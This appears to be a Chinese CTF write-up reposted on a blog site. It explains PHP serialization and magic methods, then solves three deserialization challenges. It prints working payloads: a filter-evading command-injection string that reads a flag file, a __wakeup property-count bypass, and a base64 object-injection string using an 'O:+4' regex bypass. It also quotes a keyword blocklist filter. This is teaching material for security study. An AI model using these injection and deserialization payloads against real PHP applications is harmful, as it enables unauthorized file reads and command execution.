php反序列化+题

含义:

php序列化(serialize):是将变量转换为可保存或传输的字符串的过程
php反序列化(unserialize):就是在适当的时候把这个字符串再转化成原来的变量使用
这两个过程结合起来,可以轻松地存储和传输数据,使程序更具维护性。
对象序列化成的字节序列会包含对象的类型信息、对象的数据等,说白了就是包含了描述这个对象的所有信息,能根据这些信息“复刻”出一个和原来一模一样的对象。
常见的php系列化和反系列化方式主要有:serialize,unserialize;json_encode,json_decode。

字符详解

O:6:"Person":3:{s:4:"name";s:3:"tom";  s:11:"Personage";  i:18;   s:6:"*sex"; s:3:"boy";}

O : 自定义对象 object
6  : 类名的长度
:3 : 3个成员属性
S:4 : 你的成员属性名  长度为4 ,并且是一个字符串   string
S:3 : 刚刚那个成员属性对应的值 是string类型,并且长度是3位
s:11:"Personage" : 因为该属性是私有属性,所以需要在属性名前加上类名,方便我们进行反序列化的时候的识别.
i:18 :  18是age的属性值 , i是代表  integer类型

s:6:"*sex";  sex这个属性是一个受保护的属性,特征就是 * 号

s:3:"boy : 代表 string类型,属性值长度为3位  boy对应是  sex的属性值

 魔术方法:

魔术方法是一种特殊的方法,当对对象执行某些操作时会覆盖 PHP 的默认操作。PHP中把以两个下划线__开头的方法称为魔术方法(Magic methods)

PHP 保留所有以 __ 开头的方法名称。 因此,除非覆盖 PHP 的行为,否则不建议使用此类方法名称。在面向对象编程中,PHP提供了一系列的魔术方法,这些魔术方法为编程提供了很多便利。并且不需要显示的调用而是由某种特定的条件出发。

构造函数和析构函数

构造函数和析构函数分别在对象创建和销毁时被调用。对象被“销毁”是指不存在任何对该对象的引用,比如引用该对象的变量被删除(unset)、重新赋值或脚本执行结束,都会调用析构函数。

 常用魔术方法

__construct: 在创建对象时候初始化对象,一般用于对变量赋初值。
__destruct: 和构造函数相反,当对象所在函数调用完毕后执行。
__toString:当对象被当做一个字符串使用时调用。
__sleep:序列化对象之前就调用此方法(其返回需要一个数组)
__wakeup:反序列化恢复对象之前调用该方法
__call:当调用对象中不存在的方法会自动调用该方法。
__get:在调用私有属性的时候会自动执行
__isset()在不可访问的属性上调用isset()或empty()触发
__unset()在不可访问的属性上使用unset()时触发

serialize() 函数会检查类中是否存在一个魔术方法。如果存在,该方法会先被调用,然后才执行序列化操作。

从序列化到反序列化这几个函数的执行过程是:

__construct() ->__sleep() -> __wakeup() -> __toString() -> __destruct()

__toString()这个魔术方法触发的因素

1.  echo($obj)/print($obj)打印时会触发
2.  反序列化对象与字符串连接时
3.  反序列化对象参与格式化字符串时
4.  反序列化对象与字符串进行==比较时(PHP进行==比较的时候会转换参数类型)
5.  反序列化对象参与格式化SQL语句,绑定参数时
6.  反序列化对象在经过php字符串处理函数,如strlen()、strops()、strcmp()、addslashes()等
7.  在in_array()方法中,第一个参数时反序列化对象,第二个参数的数组中有__toString()返回的字符串的时候__toString()会被调用
8.  反序列化的对象作为class_exists()的参数的时候

魔术方法在反序列化攻击中的作用 

反序列化的入口在unserialize(),只要参数可控并且这个类在当前作用域存在,就能传入任何已经序列化的对象,而不是局限于出现unserialize()函数的类的对象。

如果只能局限于当前类,那攻击面就太小了,而且反序列化其他类对象只能控制属性,如果没有完成反序列化后的代码中调用其他类对象的方法,还是无法利用漏洞进行攻击。

但是,利用魔术方法就可以扩大攻击面,魔术方法是在该类序列化或者反序列化的同时自动完成的,这样就可以利用反序列化中的对象属性来操控一些能利用的函数,达到攻击的目的。

在反序列化过程中,其功能就类似于创建了一个新的对象(复原一个对象可能更恰当),并赋予其相应的属性值。如果让攻击者操纵任意反序列数据, 那么攻击者就可以实现任意类对象的创建,如果一些类存在一些自动触发的方法(魔术方法),那么就有可能以此为跳板进而攻击系统应用。

php序列化和反序列化

下面来详细介绍一下php序列化和反序列化

 Python序列化与反序列化详解(包括json和json模块详解)-CSDN博客

PHP序列化

有时需要把一个对象在网络上传输,为了方便传输,可以把整个对象转化为二进制串,等到达另一端时,再还原为原来的对象,这个过程称之为串行化(也叫序列化)。

json数据使用 , 分隔开,数据内使用 : 分隔键和值

json数据其实就是个数组,这样做的目的也是为了方便在前后端传输数据,后端接受到json数据,可以通过json_decode()得到原数据,
这种将原本的数据通过某种手段进行"压缩",并且按照一定的格式存储的过程就可以称之为序列化。

有两种情况必须把对象序列化:
把一个对象在网络中传输
把对象写入文件或数据库
 

PHP序列化:把对象转化为二进制的字符串,使用serialize()函数
PHP反序列化:把对象转化的二进制字符串再转化为对象,使用unserialize()函数 

PHP为何要序列化和反序列化

PHP的序列化与反序列化其实是为了解决一个问题:PHP对象传递问题

PHP对象是存放在内存的堆空间段上的,PHP文件在执行结束的时候会将对象销毁。

如果刚好要用到销毁的对象,难道还要再写一遍代码?所以为了解决这个问题就有了PHP的序列化和反序列化

从上文可以发现,我们可以把一个实例化的对象长久的存储在计算机磁盘上,需要调用的时候只需反序列化出来即可使用。

挖掘反序列化漏洞的条件是:

1.代码中有可利用的类,并且类中有__wakeup(),__sleep(),__destruct()这类特殊条件下可以自己调用的魔术方法。
2. unserialize()函数的参数可控。

攻防世界:

unseping

下面看题来熟悉一下:
源码

<?php
highlight_file(__FILE__);//(语法高亮)

class ease{//类定义
    
    private $method;//私有变量
    private $args;
    function __construct($method, $args) {//__construct() 函数创建一个新的 SimpleXMLElement 对象。(“SimpleXMLElement是在PHP中处理XML文档的一个类)method和args是两个参数
        $this->method = $method;
        $this->args = $args;//构造函数接受两个参数 $method 和 $args,并将它们分别赋值给类的成员(私有)变量 $method 和 $args
    }//初始化,在创建类的实例时,可以通过传递参数来初始化对象的属性。
 
    function __destruct(){//析构函数 __destruct 则是在对象被销毁之前自动调用的方法
        if (in_array($this->method, array("ping"))) { //检查成员变量 $method 的值是否在数组 array("ping") 中,如果是的话,就调用对象自身的方法 $this->method(简单来说就是判断method是不是等于ping)
            call_user_func_array(array($this, $this->method), $this->args);//动态地调用对象的方法,并将 $this->args 数组作为参数传递给该方法。
        }
    } //在对象销毁时,如果 $method 的值是 "ping",则调用对象自身的 "ping" 方法,并将 $args 数组作为参数传递给该方法。
 
    function ping($ip){//执行ping命令(函数ping)
        exec($ip, $result);
        var_dump($result);
    }//ping 函数的作用是执行系统命令 exec($ip, $result),其中 $ip 是传递给 ping 命令的参数。exec 函数执行系统命令,并将结果存储在变量 $result 中。然后,使用 var_dump($result) 打印 $result 的内容,以便查看命令执行的结果

    function waf($str){//函数waf
        if (!preg_match_all("/(\||&|;| |\/|cat|flag|tac|php|ls)/", $str, $pat_array)) {
            return $str;
        } else {
            echo "don't hack";
        }
    }//waf 函数是一个简单的 Web 应用防火墙(Web Application Firewall)函数。它使用正则表达式来检测 $str 是否包含特定的敏感词汇,如 |、&、;、/、cat、flag、tac、php、ls 等。如果 $str 中存在这些敏感词汇,则输出 "don't hack",表示不允许执行该操作。否则,返回原始的 $str 值
 
    function __wakeup(){
        foreach($this->args as $k => $v) {
            $this->args[$k] = $this->waf($v);
        }
    }   
}//__wakeup 是 PHP 中的一个魔术方法(magic method),用于在反序列化对象时进行特定操作。在这段代码中,__wakeup 方法被定义在一个类中,但是代码片段中省略了类的定义部分。 __wakeup方法的作用是对对象进行反序列化后的恢复操作。在这段代码中,它遍历对象的成员变量$this->args,对每个成员变量的值使用 waf方法进行敏感词过滤,并将过滤后的值重新赋值给$this->args[$k]`。(简单来说:如果 PHP 对象中存在名为 __wakeup 的方法,就调用该方法对对象进行恢复操作,即对成员变量 $this->args 进行敏感词过滤。)


$ctf=@$_POST['ctf'];//这行代码将 $_POST 数组中名为 'ctf' 的元素的值赋给了变量 $ctf。@ 符号用于抑制可能的错误提示。
@unserialize(base64_decode($ctf));//这行代码使用 base64_decode 函数对变量 $ctf 的值进行解码,并使用 unserialize 函数将解码后的结果反序列化为对象。unserialize 函数用于将之前通过 serialize 函数序列化的对象转换回原始的 PHP 对象。(简单来说:对变量 $ctf 的值进行解码和反序列化,恢复为原始的 PHP 对象。)
?>

通过分析上面的代码我们可以得出,我们只要控制ctf这个参数的输入的值,就可以达成命令执行的效果,但是上面的代码,我们需要两个参数ping和后面命令执行的值,我们首先就得看看当前目录下都有些什么东西。同时我们需要考虑ls字符被过滤了,那么我们需要进行绕过,那我们就可以写出如下的PHP语句进行,ctf值的输出

<?php
 
class ease{
private $method;
private $args;
function __construct($method, $args) {
    $this->method = $method;
    $this->args = $args;
}
 
}
$a = new ease("ping",array('c""at${IFS}f""lag_1s_here$(printf${IFS}"\57")f""lag_831b69012c67b35f.p""hp'));
$b = serialize($a);
echo $b;
echo'</br>';
echo base64_encode($b);
?>

 

<?php
 
class ease{
private $method;
private $args;
function __construct($method, $args) {
    $this->method = $method;
    $this->args = $args;
}//定义了一个名为 ease 的类。该类具有私有成员变量 $method 和 $args,以及一个构造函数 __construct。构造函数接受两个参数 $method 和 $args,并将它们分别赋值给类的成员变量
 
}
$a = new ease("ping",array('l""s'));//创建了一个类的实例 $a,通过传递参数 "ping" 和数组 array('l""s') 给构造函数来初始化实例。
$b = serialize($a);//使用 serialize 函数对实例 $a 进行序列化,将其转换为一个字符串表示
echo $b;

echo'</br>';//使用 echo 语句输出序列化后的字符串 $b,并在其后添加一个换行符 <br>。
echo base64_encode($b);//使用 base64_encode 函数对序列化后的字符串 $b 进行 Base64 编码,将其转换为另一个字符串表示,并使用 echo 语句输出。

?>

 运行结果:

 找到了flag文件 再在原来的基础上把命令改一下就可以了

想要执行cat flag_1s_here/flag_831b69012c67b35f.php来查看flag,cat,flag,php都可以用双引号绕过,空格用${IFS}绕过,/要用printf及$()绕过。

令$arg=c""at${IFS}(printf${IFS}"\57")f""lag_831b69012c67b35f.p""hp。

 

unserialize3 

东西很少,

看源码:

class xctf{
public $flag = '111';//类中定义了一个公共成员变量 $flag,其值为字符串 '111'。这个变量可以在类的实例中被访问和修改
public function __wakeup(){
exit('bad requests');//类中定义了一个特殊方法 __wakeup()。__wakeup() 方法在 PHP 的反序列化过程中被调用。在这段代码中,__wakeup() 方法被重写,当进行反序列化时,会触发该方法。在方法内部,使用 exit() 函数输出字符串 'bad requests',并终止程序的执行。
}
?code=//给出的 URL 参数 ?code=

代码中的__wakeup()方法如果使用就是和unserialize()反序列化函数结合使用的,这里没有序列化字符串,何来反序列化呢?于是,我们这里实例化xctf类并对其使用序列化(这里就实例化xctf类为对象peak)

<?php
class xctf{                      //定义一个名为xctf的类
public $flag = '111';            //定义一个公有的类属性$flag,值为111
public function __wakeup(){      //定义一个公有的类方法__wakeup(),输出bad requests后退出当前脚本
exit('bad requests');
}
}
$peak = new xctf();           //使用new运算符来实例化该类(xctf)的对象为peak
echo(serialize($peak));       //输出被序列化的对象(peak)
?>

得到了一个序列化:O:4:"xctf":1:{s:4:"flag";s:3:"111";}

//xctf类后面有一个1,整个1表示的是xctf类中只有1个属性
__wakeup()漏洞就是与序列化字符串的整个属性个数有关。当序列化字符串所表示的对象,
其序列化字符串中属性个数大于真实属性个数时就会跳过__wakeup的执行,从而造成__wakeup()漏洞 

所以我们构造的payload只需要把xctf后边的1改成2

O:4:"xctf":2:{s:4:"flag";s:3:"111";} 在利用参数进行访问就可以了

 cyberpeace{b071fb46dca53c8e64462e9cfd16ebed}

Web_php_unserialize 

<?php
class Demo { //类定义
    private $file = 'index.php';//私有变量
    public function __construct($file) { //__construct() 函数创建一个新的 SimpleXMLElement 对象
        $this->file = $file;
    }//初始化,在创建类的实例时,可以通过传递参数来初始化对象的属性
    function __destruct() { //析构函数 __destruct 则是在对象被销毁之前自动调用的方法
        echo @highlight_file($this->file, true); //highlight_file() 函数以代码高亮的形式输出 $file 文件的内容
    }
    function __wakeup() {
        if ($this->file != 'index.php') {
            //the secret is in the fl4g.php
            $this->file = 'index.php';
        } //反序列化魔术方法 __wakeup() 在反序列化对象时被调用。在这段代码中,如果 $file 不等于 'index.php',则将其重置为 'index.php'(秘密藏在fl4g.php里面)
    }
}
if (isset($_GET['var'])) { //在主代码块中,首先检查是否存在 $_GET['var'] 参数。
    $var = base64_decode($_GET['var']); //$_GET['var'] 参数,则对其进行 Base64 解码,并将结果赋值给变量 $var
    if (preg_match('/[oc]:\d+:/i', $var)) {
        die('stop hacking!'); //使用正则表达式匹配检查 $var 是否包含类似 o:数字: 的序列化字符串。如果匹配成功,说明 $var 可能被恶意篡改,代码执行会被终止,并输出提示信息
    } else {
        @unserialize($var); //$var 没有匹配到恶意序列化字符串,则使用 @unserialize() 函数对 $var 进行反序列化操作
    }
} else {
    highlight_file("index.php"); //如果不存在 $_GET['var'] 参数,则使用 highlight_file() 函数以代码高亮的形式输出当前文件 index.php 的内容
}
?>

通过源代码可以看出来,想得到flag要绕过3个

1.绕过__wakeup   2.绕过正则表达式   3.base64加密

1.绕过:
__wakeup()函数漏洞就是与对象的属性个数有关,如果序列化后的字符串中表示属性个数的数字与真实属性个数一致,那么i就调用__wakeup()函数,如果该数字大于真实属性个数,就会绕过__wakeup()函数。

2.(preg_match(’/[oc]:\d+:/i’, $var))
而正则匹配的规则是: 在不区分大小写的情况下 , 若字符串出现 “o:数字” 或者 "c:数字’ 这样的格式 , 那么就被过滤 .很明显 , 因为 serialize() 的参数为 object ,因此参数类型肯定为对象 " O " , 又因为序列化字符串的格式为 参数格式:参数名长度 , 因此 " O:4 " 这样的字符串肯定无法通过正则匹配
绕过
而O:+4没被过滤说明绕过了过滤而且最后的值不变。
3.直接base64加密就可以

<?php
class Demo {
    private $file = 'index.php';
    public function __construct($file) {
        $this->file = $file;
    }
    function __destruct() {
        echo @highlight_file($this->file, true);
    }
    function __wakeup() {
        if ($this->file != 'index.php') {
            //the secret is in the fl4g.php
            $this->file = 'index.php';
        }
    }
}
$A = new Demo ('fl4g.php');                    //创建对象
$C = serialize($A);                     //对对象A进行序列化
$C = str_replace('O:4','O:+4',$C);      //绕过正则表达式过滤
$C = str_replace(':1:',':2:',$C);         //wakeup绕过
var_dump($C);
var_dump(base64_encode($C));            //base64加密

?>

TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ== 

绕过的详细过程:

利用反列化函数,得增加以下代码,$a = new Demo('fl4g.php');

先利用在线工些代码,对其进行反序列化

<?php
class Demo {
    private $file = 'fl4g.php';
}
$a = serialize(new Demo);
var_dump($a);
?> 

 

得到:O:4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}

__wakeup绕过:

"Demo":1 改成 "Demo":2

正则绕过:

O:4 改成:O:+4

所以写成:O:+4:"Demo":2:{s:10:"Demofile";s:8:"fl4g.php";}(这里只做示范,要用在线php里边的序列化才可以)

在对其进行base64编码:TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==

得到base64编码 在传个参就可以了

/?var=TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==

得到了flag

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/138909.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

版本控制系统git:一文了解git,以及它在生活中的应用,网站维护git代码,图导,自动化部署代码

目录 1.Git是什么 2.git在生活中的应用 2.1git自动化部署代码 3.网站维护git代码 3.1如何在Git代码托管平台等上创建一个仓库 3.2相关文章 4.ruby实现基础git 4.1.Git add 4.2 Git commit 4.3 Git log 1.Git是什么 Git是一个版本控制系统&#xff0c;它可以追踪文件的…

怒刷LeetCode的第7天(Java版)

目录 第一题 题目来源 题目内容 解决方法 方法一&#xff1a;二分贪心 方法二&#xff1a;二分DP 第二题 题目来源 题目内容 解决方法 方法一&#xff1a;双指针 方法二&#xff1a;暴力搜索 方法三&#xff1a;排序 第三题 题目来源 题目内容 解决方法 方法一…

Aztec交易架构解析

1. 引言 前序博客有&#xff1a; Aztec的隐私抽象&#xff1a;在尊重EVM合约开发习惯的情况下实现智能合约隐私完全保密的以太坊交易&#xff1a;Aztec网络的隐私架构Aztec.nr&#xff1a;Aztec的隐私智能合约框架——用Noir扩展智能合约功能Account Abstraction账号抽象——…

【数据增强】

【数据增强】 1 数据增强的情形2 数据增强的方法 1 数据增强的情形 当数据比较小&#xff0c;难以获取新的训练数据时&#xff0c;可以考虑数据增强&#xff0c;如随机裁剪部分&#xff0c;随机左右上下翻转、随机旋转一个角度、随机亮度变化等微小变化&#xff0c;数据的多样…

flex布局与float布局

float布局 俩栏 三栏 flex布局

css自学框架之二级下拉菜单

下拉菜单是我们开发中最常见&#xff0c;最常用的&#xff0c;今天我们就自学二级下来菜单。首先看一下最终效果&#xff1a; 一、css代码 .arrow-down::before {content: ""; width: 10px;height: 10px;border: solid ;border-width: 2px 2px 0 0;border-color: …

大型集团借力泛微搭建语言汇率时区统一、业务协同的国际化OA系统

国际化、全球化集团&#xff0c;业务遍布全世界&#xff0c;下属公司众多&#xff0c;集团对管理方式和企业文化塑造有着很高的要求。不少大型集团以数字化方式助力全球统一办公&#xff0c;深化企业统一管理。 面对大型集团全球化的管理诉求&#xff0c;数字化办公系统作为集…

Quartz 建表语句SQL文件

SQL文件在jar里面&#xff0c;github下载 https://github.com/quartz-scheduler/quartz/releases/tag/v2.3.2 解压&#xff0c;sql文件路径&#xff1a;quartz-core\src\main\resources\org\quartz\impl\jdbcjobstore tables_mysql_innodb.sql # # In your Quartz propertie…

JavaScript——概念(JavaScript是什么?组成、输入语法等)

目录 JavaScript的概念 JavaScript是什么 JavaScript组成 JavaScript如何写 JavaScript书写位置 注释 结束符 输出和输入语法 输出语法 输入语法 代码执行顺序 字面量 总结 JavaScript的概念 JavaScript是什么 是一种运行在客户端&#xff08;浏览器&#xff09;的…

排序算法-----归并排序

目录 前言&#xff1a; 归并排序 1. 定义 2.算法过程讲解 2.1大致思路 2.2图解示例 拆分合成步骤 ​编辑 相关动态图 3.代码实现&#xff08;C语言&#xff09; 4.算法分析 4.1时间复杂度 4.2空间复杂度 4.3稳定性 前言&#xff1a; 今天我们就开始学习新的排序算法…

iPhone15线下购买,苹果零售店前门店排长队

今年的苹果新品发布会于北京时间 9 月 13 日凌晨举行&#xff0c;并于 9 月 15 日&#xff08;周五&#xff09;开启订购&#xff0c;9 月 22 日&#xff08;周五&#xff09;起正式发售。 据多位网友反馈&#xff0c;首批苹果 iPhone15 系列手机、Apple Watch Ultra 2 / Seri…

web:[ACTF2020 新生赛]Exec

背景知识 命令执行漏洞 linux命令 题目 打开题目&#xff0c;页面显示的是一个ping 尝试一下 查看源代码发现 尝试ping一下百度 由题目名可知这道题关于exec&#xff08;命令执行&#xff09;&#xff0c;这里需要联想到可以多条命令执行 输入baidu.com;ls 尝试;号是否能够…

Qt核心:元对象系统、属性系统、对象树、信号槽

一、元对象系统 1、Qt 的元对象系统提供的功能有&#xff1a;对象间通信的信号和槽机制、运行时类型信息和动态属性系统等。 2、元对象系统是 Qt 对原有的 C进行的一些扩展&#xff0c;主要是为实现信号和槽机制而引入的&#xff0c; 信号和槽机制是 Qt 的核心特征。 3、要使…

电脑桌面透明便签软件是哪个?

在现代快节奏的工作环境中&#xff0c;许多上班族都希望能够在电脑桌面上方便地记录工作资料、重要事项、工作流程等内容。为了解决这个问题&#xff0c;一款优秀的电脑桌面便签软件是必不可少的。在选择桌面便签软件时&#xff0c;许多用户也希望便签软件能够与电脑桌面壁纸相…

go学习-GMP模型

GMP 好理解还是 GPM 好理解&#xff1f; 按照上述图&#xff0c;从上往下&#xff0c;GPM更适合理解 GMP 模型&#xff1a; Go 语言运行时系统中的 Goroutine、用于管理 Goroutine 调度的 Go Scheduler&#xff08;P&#xff09;、机器可用的逻辑处理器数量&#xff08;M&#…

竞赛选题 基于深度学习的目标检测算法

文章目录 1 简介2 目标检测概念3 目标分类、定位、检测示例4 传统目标检测5 两类目标检测算法5.1 相关研究5.1.1 选择性搜索5.1.2 OverFeat 5.2 基于区域提名的方法5.2.1 R-CNN5.2.2 SPP-net5.2.3 Fast R-CNN 5.3 端到端的方法YOLOSSD 6 人体检测结果7 最后 1 简介 &#x1f5…

计算机网络常见面试题

目录 一、谈一谈对OSI七层模型和TCP/IP四层模型的理解&#xff1f; 答&#xff1a;OSI七层模型主要分为&#xff1a; TCP/IP四层协议&#xff1a; 二、谈谈TCP协议的3次握手过程&#xff1f; 三、TCP协议为什么要3次握手&#xff1f;2次&#xff0c;4次不行吗&#xff1f; …

关于IDEA没有显示日志输出?IDEA控制台没有显示Tomcat Localhost Log和Catalina Log 怎么办?

问题描述&#xff1a; 原因是;CATALINA_BASE里面没有相关的文件配置。而之前学习IDEA的时候&#xff0c;把这个文件的位置改变了。导致&#xff0c;最后输出IDEA的时候&#xff0c;不会把日志也打印出来。 检查IDEA配置; D:\work_soft\tomcat_user\Tomcat10.0\bin 在此目录下&…

华为OD机试 - 构成正方形的数量 - 数据结构map(Java 2023 B卷 100分)

目录 专栏导读一、题目描述二、输入描述三、输出描述四、Java算法源码五、效果展示1、输入2、输出3、说明 华为OD机试 2023B卷题库疯狂收录中&#xff0c;刷题点这里 专栏导读 本专栏收录于《华为OD机试&#xff08;JAVA&#xff09;真题&#xff08;A卷B卷&#xff09;》。 …

浅谈建筑能耗智能监测平台发展现状及未来趋势

安科瑞 华楠 摘要&#xff1a;文章以每年发布的上海市国家机关办公建筑和大型公共建筑能耗监测及分析报告变化为切入点&#xff0c;分析了历年能耗分析报告的内容和功能变化&#xff1b;介绍了上海市国家机关办公建筑和大型公共建筑能耗监测平台发展和应用历程&#xff1b;揭示…